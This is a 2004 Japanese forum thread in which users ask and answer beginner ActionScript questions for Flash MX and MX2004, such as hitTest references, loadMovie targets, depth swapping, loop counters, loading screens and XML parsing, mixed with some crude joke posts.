ごめんなさい。ごめんなさい。ごめんなさい。 質問にミスがありました。もう一度書きます。 a,b,w1はMCです。a,w1はステージにありbはaの中にあります。 aへのオブジェクトアクションで if(this.hitTest(_parent.w1)){Flag=true} と i=1; if(this.hitTest("_parent.w"+i)){Flag=true} は両方うまくいきました。が if(this.b.hitTest(_parent.w1)){Flag=true} はうまくいったのに i=1; if(this.b.hitTest("_parent.w"+i)){Flag=true} はダメでした。なぜでしょう?なんか凡ミスでしょうか? フラッシュ5、MacOs9.1です。
>>367 hitTest(eval("_parent.w"+i)) にしたら動くんじゃないかな?
文字列渡して参照元の割り出しをb.hitTestに任せた場合、
a.w1を調べに行ってると思われる
369 :
368 :04/06/25 00:30 ID:???
もとい。_parent["w"+i] だな
370 :
=367 :04/06/25 01:26 ID:qA+d4tDS
>>368 ,369
有り難うございます!
なんとかできました。理屈は今一分かってませんが。eval苦手....
>>370 hitTestで渡された値が文字列なら、その関数内で参照を判断する
hitTestで渡された値がMCへの参照なら、何の問題も無くそれを参照とする
まあ悩むくらいなら極力MCの参照を渡しておけって事だね
>>370 eval()って古いASの表現なんじゃないの?
>>369 の方が新しい表現で使いやすい.
質問です。 rootSWF 親swf ↑ loadSWF rootMCに読み込むswf ↑ image loadMCに読み込む画像 と言うように読み込んだ子のムービーに更にイメージを読み込ませているのですが、 これを親のrootSWFの読み込み時に一括で読み込む方法ってありますか? 今はloadSWFをロードした後更にimageのローディングが入っている状態です。 何方か良い方法がありましたらご指導よろしくお願いします。
1フレ目に噛ませておけば?
375 :
357 :04/06/25 14:01 ID:???
>363 ホームページの端っこにswfファイルを埋め込んでおいて、 そこから自動的に赤い部屋がポップアップするっていうのをやりたかったんですが・・・。 確かに、複数のウインドウが同時に開くようにしたらブラクラになりかねませんね。
質問させてください。 自由変形ツールってありますよね。 あれのイメージで、getBounds()で取得した構造体の、例えば xMax と yMax のポイントを自分で設定したりはできないでしょうか? もしくは、ASで自由変形を表現する事は可能でしょうか? 可能でしたら教えてくださいませ。
>>376 ムリ
Directorとかならできたような
Win2K MX2004Pro ScrollPaneを使用するにあたり、ScrollBarのテーマを変えているのですが スクロール可能時に「ScrollTrack」、 スクロール不可時に「ScrollTrackDisable」を使用適用したいのですが、 全ての状態で「ScrollTrack」が使用され 「ScrollTrackDisable」が表示されません。 どうすれば、実現できますか? 教えてください。お願いします。
質問です winXP MXです。 duplicateで複製したシンボルを最下層に出す方法はありますか? depthで行うのでしょうか?お願いします_(_ _)_
>>379 this.swapDepth(10)とか
ミス。
>>379 swapDepthsだった
~
382 :
379 :04/06/27 18:00 ID:???
winXP MX2004pro root上にあるMCの中に10フレームあって5回ループしたら11フレームに進みたい んですがどうすればよいのですか? ifを使うのか何を使っていいのかもわからずに困っています よろしくおねがいします。
カウント用変数= カウント用変数 + 1; if(カウント用変数>5){ gotoAndPlay(11); }
385 :
383 :04/06/27 21:45 ID:???
>>384 早速の返事ありがとうございます。
カウント用変数でググってみたのですがいまいちわからなのですが
どこにASをかけばいいのですか?
一からですみません。
>>385 悪いけど、さすがに知識が無さ過ぎる
一冊ASの本を買うことをお勧めします
10フレーム目のフレームアクションで カウント用変数+1 と gotoAndPlay(1)
388 :
383 :04/06/27 22:13 ID:???
>>386 FLASH2冊とscript本も一冊もってるんですがよくわかりません。
もう一度調べるか違う本をかってきます。
ありがとうございました。
カウント用変数をきかれたか(;´Д`) どこに書くかはきかれるかと思ったけど…
>>388 カウント用変数はそういうものが用意されているわけではなくて、
自分で変数を作るんですよ。
その変数をループのカウントに使うんです。
MC10フレーム目のフレームアクションで hoge++ if(hoge>5){ gotoAndPlay(11);} gotoAndPlay(1) でOKじゃないの? 変数参照を上に書かないとダメだとは思うが。
>>388 フレーム10にきたときに
a += 1 ってやってさ、
フレーム1に、
if(a >= 5){
gotoAndPlay(11);
}
じゃだめなの?
>>383 本買うだけじゃなくてちゃんと読め
それでわからなければホントにマズイ
横槍失礼するけど、hogeって適当な変数の代表名なの? AS関連のスレで時折見かけるけど
ASに限らずPerlでもPHPでも、いろんなもので使われる。
ループ変数が i,j,k,l.. と続くように 仮名も hoge, bar とあるんだよな barの後は知らんが
違った、Foo Bar がペアだw
MX+Win200000で質問です。 自動でflashのサイズになってくれる背景(MC)を作りたいのです。 大きさのほうはStage.width,heightを使うことでなんとかなると思うのですが(それでも誤差があって気持ち悪い)、 _x,_yを左上からきっちりとそろえるにはどうすれば良いのでしょうか。 背景のMCの位置や深さが変わっても大丈夫な方法を教えてください。
>>399 hoge._x = 0; hoge._y = 0; で、きっちりと揃えられるのでは?
あと背景になるMCはセンターポイントが0,0になるように編集しておくといい。
401 :
Now_loading...774KB :04/06/29 21:10 ID:TrUJtrw1
フラッシュクリエーターって本当にASを怪盗できちゃうんですか? スレタイのジョークじゃなくてマジで
swf と連携させたいサーバサイドの処理に PHP を採用したいんだけども どこか詳細な情報が掲載されているところはないかしら・・・? それか書籍の情報でもいいので誰か教えてクダサイ
社会の窓オブジェクトをopen()にしてたらポリスメンに追っかけられました。 どうすれば良いでしょうか。 。・(ノД`)・。
たまにオッサンくさい奴が混ざるんだよなあ
>>407 eval(this._droptarget).社会の窓.open();
411 :
ケニア ◆z5kubyAJ3w :04/07/01 16:07 ID:Wnsa2UBK
すみません、皆様の知恵を貸して下さい。 Flash MXを使用しています。 A〜Gの隣接するサムネイルをロールオーバーすると 少し拡大して重なり順が隣よりも上にくるボタンを MCで作っています。 また、そのボタンを押すとシーン2に飛ぶようにしてます。 swapDepthを使用している為、シーン2でもそのボタンが 表示されてしまいます。 シーン2に飛んだらシーン1のスクリプトが無効になるなど、 解決策があれば、助けて欲しいです。 お忙しいところ申し訳ございません。 よろしくお願いします。 ボタンに書いてあるスクリプト on (rollOver) { this.gotoAndPlay("_over"); this.swapDepths(999); } on (release) { tellTarget("_root"){ gotoAndPlay("シーン2",1); } }
on (release) で自分自身を消せばいいのでは?
あとAS使うならシーン使うのヤメトケ。
414 :
ケニア ◆z5kubyAJ3w :04/07/01 17:07 ID:Wnsa2UBK
>>412 ,413
おお!俺はなんて頭が堅いというか悪いンだ!
ありがとうございました!納得です!
415 :
Now_loading...774KB :04/07/01 18:30 ID:Wnsa2UBK
質問です。よろしくお願いします。 A.swfにloadmovie用のMCを作り(_load)、2フレーム目でそこにB.swfを loadmovieするようにしました。 更にB.swfの中のボタンを押すとA.swfで作った _load に C.swfを表示するにはどうしたらいいのでしょうか? B.swfからA.swfの_load にはターゲットが指定できないもので 非常に悩んでいます。 わかりにくい文章ですみません。
B.swfのボタンに_parent._load.loadMovie()
417 :
Now_loading...774KB :04/07/01 19:33 ID:ech4YfO9
質問ですー。 ボールを回転させながら水平に移動させるASって無いものでしょうか?
>>418 回転 Hoge_mc._rotation = 360度
水平移動 Hoge_mc._x = X軸座標
え?
424 :
418 :04/07/01 21:22 ID:???
>>423 そりゃ、そのままじゃ動くわけ無い。
>>424 これで判らないならモーショントゥイーン使った方が良いと思うよ。
>>418 this._rotation += 10
this._x += 10
こんな感じでいいんじゃねーの?
出されたものはコピペってのがここの主流なの?w
「動かす」って言ってるのに
プロパティを指定しただけの
>>419 は馬鹿。
そのままコピペする
>>418 はもっと馬鹿。
出来なさ過ぎる奴を基準に教えるのって面倒だな
>>419 ので分からないなら聞くべきですらないだろ
this.onEnterFrame=function(){ this._x+=5; this._rotation+=5; } これをボールのMCのフレームアクションにコピペしてね、くそやろうっ。 行ったっきり帰ってこない愛を感じてねっ。
434 :
415 :04/07/02 16:00 ID:zWb0H93I
>>416 さん、遅くなりましたが、
教えてくれてありがとうございます!
試したのですが、できませんでした。
何が間違っているのでしょうか?;;
※B.swfのボタンの記述
on(release) {
this._parent._load.loadMovie("C.swf");
}
>>434 on(release){
trace(this._parent);
trace(this._parent._load);
}
出てきた値を報告しる
436 :
415 :04/07/02 16:31 ID:zWb0H93I
>>435 ありがとうございます。今から試してみます!
437 :
415 :04/07/02 17:03 ID:zWb0H93I
>>435 さん
_level0._load
undefined
と出ました。
見つからないって事ですよね?
>>437 じゃなくてthis._parent.loadMovie(hoge);で動くよってこと。
これがFlashの簡易デバッグの仕方です。覚えとき。
439 :
415 :04/07/02 18:41 ID:zWb0H93I
>>438 うっひょ〜〜〜!!
出来ました!すごい!
438さん色々とありがとうございました。
簡易デバッグも覚えておきます。
もっともっと勉強します!!
440 :
Now_loading...774KB :04/07/03 12:34 ID:WFEjh99B
質問です。 ボタンの上にマウスを持っていくと矢印が指に変わるんですけど、 これを矢印のままにするにはどうすればいいんでしょうか。 Listenerを使ってやるとなんとかできるんですけど、何か他に方法があれば教えてください。
mouse.hide()
>>440 ボタンのあるフレームのフレームアクションに
hoge_btn.useHandCursor = false;
hoge_btn にはボタンにつけたインスタンス名
MX2004です。 動きのあるMCをASで動かそうとおもって(MCのある範囲を0から50フレームとして) 25フレームから毎フレーム左に移動させたくて25フレーム目にキーフレームをいれて onClipEvent(enterFrame){ this._x -=20; } といれたらMCが最初から読みこまながら左に移動してしまいます。 MCの動きは継続で移動だけするにはどうしたらいいのですか? よろしくおねがいします。
>>443 25フレーム目に(フレームスクリプトに)
Hoge_mc.onEnterFrame = function() {
this._x -= 20;
}
どうなんだろうね。 onClipEvent(EnterFrame) で記述すると、色々な条件設定のイメージが簡単に出来る気がするんだけど。
onClipEvent (enterFrame) { if (this._currentframe>=25) { this._x -= 20; } } これでもいい
447 :
440 :04/07/03 21:47 ID:???
448 :
Now_loading...774KB :04/07/03 23:46 ID:0sXQsVjn
ルート上にムービークリップAを作り それにクリップアクションで onClipEvent(load) { trace("hoge"); } は出力されるのに ムービークリップAの第一フレームにフレームアクションで this.onLoad = function() { trace("hoge"); }; は出力されないのですが 違いはなんなんでしょうか?
>>448 フレームアクションのスクリプトは、ムービークリップの配置が全て終了した後に動くき
ムービークリップに直接に書かれてる奴は、先に動くから。
onLoadは配置が行われた瞬間にイベントが発生する。
だったと思う・・・、ごめんよ、こんな中途半端ナおれで・・・。
450 :
448 :04/07/03 23:59 ID:0sXQsVjn
いや、違いを知らなかった自分には十二分に 参考になりました。 ありがとう
451 :
443 :04/07/04 01:59 ID:???
>>444 さんにお礼のレスしたんだけどなぜかない・・
ということで>>444-
>>446 さんありがとうございます。
当方ME MXです。 MCを一定間隔で現れるようにしたいのですが、 getTimerだかを使ってがんばってみたのですが 途中でわけが分からなくなってしまいました。 なにかいい方法はないのでしょうか。
>>452 仮に一秒ずつで切り替えるなら
if (getTime()%2000 < 1000) {
Hoge_mc._visible = true;
} else {
Hoge_mc._visible = false;
}
このケースでは
0ミリ秒〜999ミリ秒まで表示
1000ミリ秒〜1999ミリ秒まで非表示
別のやり方
function changeVisible(mc) {
mc._visible = !mc._visible;
}
intervalId = setInterval(changeVisible, 1000, Hoge_mc); //Hoge_mcが切り替えをしたいMC
setIntervalでtoggleさせるのも良いかもしれんね。
>>453 一番目の方法を使ってやりました。
有難うございます。
456 :
先生 :04/07/05 22:41 ID:???
俺が来たから安心しろ
457 :
Now_loading...774KB :04/07/06 22:33 ID:+ZEiSVIL
安心しきってしまった模様。よかったよかった。
458 :
先生 :04/07/07 00:04 ID:???
ちょっと悲しい しかし平和が一番だ
>>458 先生
oya_mcの中ににko_mcをつくり
ko_mc内のタイムラインに、this._alpha=0;としても機能しません。
oya_mc内で、this.ko_mc._alpha=0;としたり、
メインのタイムライン上で、_root.oya_mc.ko_mc._alpha=0;としても同様に機能しません。
ただ、ko_mcのonClipEvnetでthis._alpha=0は機能します。
この理由を教えて下さい。
460 :
先生 :04/07/07 00:48 ID:???
>>459 > ko_mc内のタイムラインに、this._alpha=0;としても機能しません。
> oya_mc内で、this.ko_mc._alpha=0;としたり、
> メインのタイムライン上で、_root.oya_mc.ko_mc._alpha=0;としても同様に機能しません。
これらのthisをtraceしてみるといいよ
>>460 さすが先生。
生徒のことを考えてデバッグの基本から!
当方MXですが ナウローディングみたいな画面を作りたいと思ってます フレームでストップをかけて ムービークリップで onClipEvent(enterFrame) { this.cou=Math.floor (_root.getBytesLoaded()/_root.getBytesTotal()*100); if(this.cou==100){ _root.gotoAndPlay(4); } } みたいなことをやっています プレビューでやると問題ないのですが 実際にあげると 全部がロードするまで表示されず、白い画面のままなんです だからいきなり100%から開始されてしまうのですが 解決方法ないでしょうか
>>462 ローディングが完了したら、
_root.gotoAndPlay(4);
が実行され続けるんじゃないのかな?
>>463 いえ。
失礼、説明不足でした
ローディングが完了されるまで表示されないのです
ローディングが完了してから開始されるまで
ロード中の画面が一瞬で終わってしまうのです
465 :
先生 :04/07/07 22:49 ID:???
>>462 if (_root.getBytesTotal()!="number") return;
を加えてみるとか
>>462 自分の経験上、
・リンケージで「最初のフレームに書き出し」のオプションがオンになってる
MCがたくんある
・埋め込みフォントを多用していてloading画面でもそのフォントを使っている
とかいったような理由で、1フレーム目のデータ量がやたらと多いと、そうなる
場合がある。
とりあえずムービープレビュー画面のプロファイラで、最初のフレームの
データ量をチェックしてみれ。
467 :
Now_loading...774KB :04/07/08 13:37 ID:EPwP51NL
当方MX2004です。 ユーザーが引数を連れて入って来た時に、どのページに移動してもその引数を連れていくようにPHPでしていしています。ソースは以下。 <?php $get = explode("/",$_GET['no']); $no = "?no=$get[0]"; if($get[0]==""){ $no = ""; } if($get[0]!==""){ $no = "?no=$get[0]"; } ?> 引数を連れてきた場合はindex.php?no=xxxxx というようなアドレスになります。 これをフラッシュで作ったボタンを押した移動でも同じく引数を連れていきたいので getURL("goriyou/index.php?no=<? echo($no) ?>"); としているのですがこれだと実際の表示は goriyou/index.php?no=<?%20echo($no)%20?> となってしまい、PHPが認識されていません。 誰か解決策教えれ
getURL("goriyou/index.php?no="+hoge);
469 :
Now_loading...774KB :04/07/08 19:42 ID:ms3SHQBa
ちょっと教えてください。 Stringのバイト数って取れます?
471 :
469 :04/07/08 20:49 ID:???
FSCommandで送信するときに分割したいのです。
>>471 何でそんな面倒な事を・・・
単純に文字数じゃダメなの?
winXP flashMX2004です。 ActionScriptでダイナミックテキストの色かえる方法を教えてください。
>>473 hoge_txt.textColor = 0xffffff;
うちの環境がMXだから変わらなかったらスマソ
475 :
先生 :04/07/09 01:17 ID:???
>>474 2004でもAS1.0で出来るから問題ない
2.0でも大丈夫だが
476 :
473 :04/07/09 02:09 ID:???
先生! 教えて下さい。 ↓コイツ Key.addListener (newListener) の存在意義がわかりません。
Keyを押した時に通知してくれるようになる。 グローバルなイベントをキャッチしたい場合に無いと困る。
479 :
先生 :04/07/10 18:06 ID:???
>>477 引数の必要性のことかな?開発者の趣味。
・・・じゃなくてMCとくっついたイベントだと効率が悪いから
ネイティブなイベントオブジェクトとして用意されてるのです。
ColorとかMouseとか、ネイティブで用意されたオブジェクトはちょっぱや。
481 :
先生 :04/07/11 08:33 ID:???
>>480 KeyやMouseは画面上のどこでもキータイプやクリックなどのイベントを受け取ります。
例えばあるMCの上にボタンがあって、MCもボタンもonReleaseイベントを受け取る場合。
ボタンの上でクリックされた際、直下のMCはonReleaseを受け取りません(たぶん)
しかしKeyやMouseなどのトップレベルオブジェクトはカムカムエブリシンです。
マウスの概念は特殊だからね。
>>480 たとえば、画面の何処でもいいからクリックした場合何かの処理をさせたい場合。
画面の最前列に透明なボタンを置いて、onReleaseに書いてもいいけれども
Keyとか使えばそんなことする必要が無い。
まぁ、flashの作り方のスタイルにもよるだろうけど、あると便利なのよ。
あまりASを使わないアニメ系flash作ってる場合にはほとんど使う必要無いとは思うけどね。
もともと、マウスってのは後から出てきた物で、 座標を持ってる移動体な訳よ。 それがマジョリティになったって話であって、難しく考える必要は無いさ。 keyは座標の概念無いから、どこで押しても大丈夫ーって感じ。
469にもあるけど、 Flashで文字のバイト取ることできます。 つぅーかマルチバイト文字の判別って皆さんどうしてます?
486 :
Now_loading...774KB :04/07/11 22:40 ID:sx4HyTRA
同じシンボルを元にして作成した数百個のMC(1フレーム目でstop();してある)を、 ある条件が発生したときにplay();する、ということをやりたいと思います。 このとき、onEnterFrameやsetIntervalを使って条件を監視する以外にもっとスマートな方法はありますでしょうか? もしあれば教えてください。
487 :
先生 :04/07/11 23:08 ID:???
>>486 そのMC群が動く条件によります。
> onEnterFrameやsetIntervalを使って条件を監視する
この方法がスマートではないとは思いませんけどね。
リスナーの中でfor。 インスタンス名が連番なら名前+番号 違うなら参照を配列に押し込んで配列名[番号] で play() 数百個存在するなら相当重いと思うのでその辺気をつけて
489 :
486 :04/07/12 01:10 ID:???
>>487-488 お返事ありがとうございます。
MCの動き自体はそれほど複雑ではないので実際動かすときにモッサリするということはありませんが、
onEnterFrameやsetIntervalを使うとどうしても動作速度が(常に)低下してしまうので、質問させていただきました。
リスナーについては詳しいことはわからないのですが、KeyとMouse以外に、例えばObjectを監視するというような方法もあるのでしょうか?
490 :
先生 :04/07/12 01:22 ID:???
_rootのonEnterFrameを使えばいいよ 用が済んだらnullを代入すればいい
現在シューティングゲームを作っているんですが、 敵のMCと自分の弾のMCの判定処理で困っています。 どちらのMCも複製されたもので、敵のMCのインスタンス名は"enemy_"から始まり、自分の弾のMCは"jitama_"から始まるので、 this["enemy_"+*]のようにしてhitTest使用としているのですが、これでは上手くいきません。 一体どのように処理したらいいのでしょうか? Flashのバージョンは2004です。
>>489 >KeyとMouse以外に、例えばObjectを監視するというような方法もあるのでしょうか?
Objectを監視
監視・・・watch
じゃあobject.watchつかってみませう
//vtとは監視先プロパティ
mcp = function () {
for (var i = 0; i<200; ++i) {
this["mc"+i].play();
}
};
this.watch("vt", mcp);
onEnterFrameはともかく
setIntervalはonEnterFrame的な使い方をしない限り重くはならないはずだと思われ
>>490 それを勧めるのはいかがなものかと思われ。
493 :
486 :04/07/12 03:06 ID:???
どうもありがとうございます。 とりあえずMCを(duplicateMCを使って)連番にしてfor文でまわす方法に切り替えて思い通りに動かせました。 object.watchについてはなんだか難しそうですが初耳だったので勉強になりました。 ただ、情報を小出しにしてしまうことになって申し訳ないのですが、 本来行いたかったのはインスタンス名のわからないMCに対して このような処理を行う(たぶんそのMC自身にASを書くことになるのだと思うのですが(watchでできるのならすいません))ことでしたので、 もしそういう方法があれば是非よろしくおねがいします。 (環境も書き忘れていました。MXでwin2000です。)
setIntervalのが重いだろ 条件が何かが分かってないんだし毎フレーム監視に変わりなし
>>493 動作させるMCにAS書いて実現するには、MCの数だけ毎フレームの監視が必要になるから無駄。
492のようにwatchでプロパティーを監視させるのが一番軽いんじゃないかな。
あの方式なら、監視先プロパティーが変更された場合だけに処理が実行されるし、
監視する側も1つしかないので軽い。
あと、インスタンス名がわからないMCなんてのは管理するときに不便だから作るべきじゃないと
思うよ。
作ったそばから管理用配列にでも名前なり参照なりを放り込んでおけばいいだけなんだから。
>>494 >setIntervalはonEnterFrame的な使い方をしない限り重くはならないはずだと思われ
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>setIntervalのが重いだろ
>条件が何かが分かってないんだし毎フレーム監視に変わりなし
~~~~~~~~~~~~~~~~~~
文読め とか煽らないですが、setIntervalのそういう使い方はおいら的には非推奨です。。。
これくらいなら多少の負荷で済みますが他の負荷が大きい時に使うとアイタタタです。。。
1000/fpsがintervalより大きいならonEnterFrameよりsetIntervalが重くなりますです、当然ですが。
>>493 duplicateMovieClipを再定義して
複製するときに勝手に配列に参照を押し込む様にするにすると便利かな。
再定義よりは「duplicateMovieClip2」あたりを
新規に定義した方が後々不都合がでないのでこっち推奨ですが。
何度か指摘されてるが
>>486 がいう「条件」が分からない
小出しにして申し訳ないというならそれをまず答えろと
指定時間に同時とhittestでは全然違うからな
498 :
Now_loading...774KB :04/07/12 08:58 ID:PL2ghH0m
win98se,Flash MXです。 XMLのノード指定をもっと簡単にできる方法は無いものでしょうか。 ...firstChild,nextSibling,nextSbling,nex....ヽ(`Д´)ノウワァァァン Xpathとかないんですか?(´・ω・`)
>>498 自分で作るしか無さそう・・・
探せば誰か作って公開してくれてそうだけど。
500
501 :
498 :04/07/12 10:38 ID:???
>>499 自作・・・orz それはちょっと・・・。
FLASHでXMLってあんまり需要ないようで、
ググってもあんまり出てこないんですよねぇ。
もうちと探してみます。今度は海外のサイトでも・・・。
じゃあ俺が作るよ。
>>498 Pro2004ならXPath使えるんだけどな
あと海外サイトにあったような・・・
this.stop(); buttonListener = new Object(); buttonListener.click = function() { trace("OK"); }; button.addEventListener("click", buttonListener); button.removeListener(buttonListener); 上記のコードを1フレーム目に記述しています。 ステージ上には"button"という名前のボタンコンポーネントを配備済みです。 ★問題点 addEventListener 直後に removeListener を実行しているにも関わらず、 ステージ上のボタンを押すと、トレースで「OK」が出力されます。 どうしてでしょうか?ボクのチンコが原因でしょうか? # Flash製作初心者スレから助言を受けてこちらにきましたー
505 :
504 :04/07/13 12:00 ID:???
元スレで回答頂きました。
---------------------------------------------------------------
チソコが原因(ry
myButton.addEventListener("click", myListener);
myButton.removeEventListener("click", myListener);
ttp://livedocs.macromedia.com/flex/1/flex_docs/14_asr33.htm ---------------------------------------------------------------
お騒がせしました。
506 :
Now_loading...774KB :04/07/13 19:20 ID:k3C0CaCs
質問させて頂きます function idou(){_y+=10;}を idou()で呼び出すとこ function idou(v){v+=10;}として idou(_y)で呼び出したいんですがうまくいきません。 こーいうやりかたダメなんでしょうか?
507 :
先生 :04/07/13 19:29 ID:???
>>506 function idou(mc) {
mc._y += 10;
}
なら出来る。
MCを引数に渡すのが味噌。
参照渡しじゃなくて値渡しだからね _yが200だとすると 関数内でvが210になるだけです _yはまったく変化しません
>>506 >>508 の言うとおり値渡しなのでそのままでは無理です
STRINGで渡すのが吉
idou("_y");
idou("_x");
function idou(v) {
this[v] += 10;
}
>>509 thisが何を指すかいまいち不明になりそうなので、mcを渡すほうに一票
何ならidou(mc, v)にするとか。
>>510 それは設計の問題。
各MCに関連付けず上階層に置いて云々
というのならともかく
これは各MCに置くべきもの。
MCを渡す方はOOP的にイクナイ
>>510 それをやるならこんな手もあるよ
idou("mc._x")
function idou(v) {
eval(v) += 10;
}
>>513 flash6でも2004でも使えると思うけどね。
OOPばかりが設計の手法じゃないよ。
>>511 FlashでOOPってアホのすることだ
517 :
先生 :04/07/13 20:15 ID:???
Flashはあるオブジェクトにフォーカスを与える形で組まれるのが普通です。 Colorオブジェクトなんかがその例で、MCを引数にするのは常套手段です。
まぁ、いろんなやり方が有るって事だ。どれも一長一短あるから自分の作ってる物に合う方法使えばいい。
>>先生方 たくさんのお言葉有り難うございます。 初心者の自分には509が分かりやすかったのでやってみたら成功しました。 でも正直[],"",evalこの辺りは今一よくわかってません。 なのでOOPがどーのこーのは全く分りません。 まーとりあえず動いたのでよしとします。
520 :
Now_loading...774KB :04/07/13 20:57 ID:ylb+gfiJ
オブジェクト指向ってのやっぱよくわからんわ。 MCそれぞれにスクリプト書く方がオブジェクト指向といえる? ごめんバカで。
MovieClip自体がオブジェクト指向向きではないんだが。
メンバ変数の脱ぎっぷりが凄まじいし。
>>520 好きなように組め。
522 :
491 :04/07/13 21:31 ID:???
(´・ω・`)
this["enemy_"+*]のthisってどこよ root? enemy_だののMCがどの階層に有るのかきちんと確かめれ
thisの使い方を知らない
>>523 がいるスレはここですか?
>>511 OOPってのはこんなとき"_y"を渡すもんなんでつか?
527 :
Now_loading...774KB :04/07/14 00:54 ID:qUzK4RPn
ちょっと質問です。 変数の数字を文字列の数字に変換する関数てASにありますか? あと、ある座標内にあるインスタンスの名前を返す方法てどうすれば良いでしょうか? アドバイスお願いします。
str = "" + 12;
n=1; str1 = n.toString(); //とか str2 = "" + n; //とか あと、for( in )を研究してみてください。
530 :
Now_loading...774KB :04/07/14 01:36 ID:qUzK4RPn
>>529 >>528 ありがとうございます。変数から文字列変換はできました。
しかし、ちょっと問題が新たに現れたのですが、
実は、あるインスタンス(自分で操作するキャラクター)から
たくさん複製される別のインスタンスを参照しようと考えて聞いたのですが
MC="enemy_name";
_parent.MC.play();
みたいに参照のときに変数は使えないみたいですね。
たぶん聞いている内容は491さんと同じようなシューティングの場合みたいな
ケースが多いと思いますが、どういう方法がありますか?
_parent["enemy_name"]
キタ━━━━━(゚∀゚)━━━━━!! _parent[MC]てできるんですね。 すべて納得しました。夜中にサンクスです。
>>514 mxや2004だとエラー出て使えないわけですが
最近クラスを使用してみようかと思っているのですが、 いまいちその便利さがわかりません。 教則本をみた感じだと、ムービークリップをスーパークラスとするクラスを新しく定義して、 そこにプロパティやメソッドを加えていくのが正攻法っぽいような気がするのですが、 これってクラスを使用しない場合と比べて、どこらへんが便利なのでしょうか? コードはこんな感じでしょうか。 function myObj () { //任意のコード } myObj.prototype = new MovieClip (); myObj.prototype.onEnterFrame = function () { //任意のコード } Object.registerClass ("myInstance", myObj);
#initclipと Object.registerClass ("myInstance", myObj); 極論すればこれが利点。ActionScriptは 親MCのコード -> 子MCのコード -> 孫MCのコード -> ... といった順番でスクリプトは処理されるから、シンボルは予めクラスとの関連付けが必要になる そうでなければattachMovieClipしたばかりのフレームでは、そのMCオリジナルのメソッドが使えない
ASファイル内にて下記の様な関数を実装したいと考えています。 1.test.asのimport元にてsample()をコールする。 2.sample()はconfig.txtからAccountIDパラメータの値を取得して コール元へリターン値として返却する。 ------------------------------------------------------------------ ■test.as class test { function sample():String { // LoadVarsオブジェクト生成 var myLoadVars = new LoadVars(); // *3 myLoadVars.onLoad = function(success) { // *5 rerurn myLoadVars.AccountID; }; // *1 return hoge; } // *4 oLoadVars.Load("config.txt"); // *2 return "dammy"; } ------------------------------------------------------------------ ▽onLoadが実行されずに*2にて"dammy"が返却されてしまいます。 (当然ですね;;) *5を返却する為のプログラム構成がまったく思い浮かびません。 ヒントだけでもよいのでお願いします。 (*4のLoad実行後に*3のonLoadの実行が終わるまでsample()の処理をstopさせる 命令等あるとラクだなー。と思ってるのですが・・・)
myLoadVars.onLoad = function(success) { rerurn myLoadVars.AccountID; }; これ意味ねーよ。どっかに代入せんと。
538 :
534 :04/07/14 19:42 ID:???
ありがとうございます。 つまり、以下のようなスクリプトを書いた場合、 onEnterFrameイベントハンドラでmyFunc()が参照されないから、不便だよって理解でよろしいでしょうか? myObj.myFunc = function () { trace ("myFunc"); } this.attachMovie ("myObj", "myObj",1); myObj.onEnterFrame = function () { myFunc(); trace ("onEnterFrame"); } ついでにご質問させていただきたいのdすが、上記スクリプトでは、onEnterFrameイベント自体は発生している ("onEnterFrame"が出力される)のですが、下記のようにonLoadイベントハンドラを定義しても、 "onLoad"がトレースされません。 myObj.onLoad = function () { trace ("onLoad"); } で、ロードされた瞬間に何かを実行させたい場合、僕はいままで myObj.onEnterFrame = function () { trace ("読込み完了"); delete this.onEnterFrame; } というように書いていたのですが、クラスを使用しない場合はこれでいいのでしょうか?
>>538 > 前半部分
いやなんか違う。
Flash UIコンポーネントのソースをじっくり読めば分かってくるかと。
>後半部分
だからこそ#initclipがあるのですが。
ヘルプやサンプル見て#initclipとObject.registerClassを覚えちくり。
540 :
538 :04/07/14 20:18 ID:???
>>539 どうもです。
Object.registerClass()、#initclip、#endinitclipもう一度勉強します。
急ぎの質問なのですがよろしくお願いします。 onClipEvent(EnterFrame){ unko ++ if(unko==10) { onaka._itami++; unko=0} if(onaka._itami>=10){ koumon._width = 100 unko._y+=10} このようにウンコを制御しているのですが、下痢便の時はフラグ制御が崩れるらしく、 パンツにウンコが付いて困ってしまいます。 下痢気味の時もパンツが汚れないフラグ制御を教えてください。 パンツを取りかえるのはシステムメモリ的に難しいと思います。 よろしくお願いします。><
>>541 this.onEnterFrame = null;
543 :
湯太郎 :04/07/14 21:25 ID:yfjHARfd
質問いいですか? 360度横のみに回転するフラッシュで マウスドラッグ中だけ画像が回転。 でもマウスを動かし多分だけ画像が動くようにしたいんです。 マウスを横に5センチ動かしたら5コマ動く みたいな。 画像は24コマをタイムラインに並べてる状態です。 それぞれ15度ずつ回転させた写真です。 どなたかわかりますか・・・? マウスを引っ張ったまま止めると画像まわりっぱましってのとは 違います。 お手数ですがお願いします。
引っ張った距離でフレーム進めりゃよかんべさ
onClipEvent(enterFrame){ //フラッシュの画面サイズが400のとき、端から端まで動かすと360度回転 gazou._rotation = _root._xmouse *360 /400; } これでいいんじゃねーの? タイムラインにわざわざ並べないといけない理由があるならダメだが
訂正 gazou._rotation →this._rotation
>>545 わざわざ写真でーってのは、Y軸を中心に回転するからじゃない?
とりあえず質問者は回答者に誤解が生まれないような質問の仕方して欲しいやな。
今ActionScript勉強中なんですけど、皆さんはどんな参考書で勉強しました? 自分は翔泳社のActionScript for flash mx 2004呼んでるんですけど、いまいち 分かりにくいです お勧めの参考書教えて下さい。mx2004プロフェッショナル使って使ってます
>>548 基本的ナ部分を入門書で覚えて、
後は逆引き本を暇なときに眺めとくのお薦め。
>>549 即レスありがdございます。
あと逆引き本てなんですか?
リファレンス
552 :
491 :04/07/15 00:57 ID:???
>>523 どうもありがとうございます。
コードを書いていたのは「jitama_」で、
階層は、あるMCの中の同じ階層に両方とも配置していますので、_parent["enemy_"+*]になると思います。
また、そのままではエラーになってしまいますので、
_parent["enemy_"+"*"]や_parent["enemy*"]、_parent["enemy'*'"]などを試してみましたが、全てダメでした。
また、*を%に変えてみてもダメでした。
何か方法は無いでしょうか?
sockletの使い方が全く意味不明です。 誰かサンプルでついてきてるフラッシュのコードを逐一解説しておください。
555 :
Now_loading...774KB :04/07/15 02:36 ID:rQmZflOb
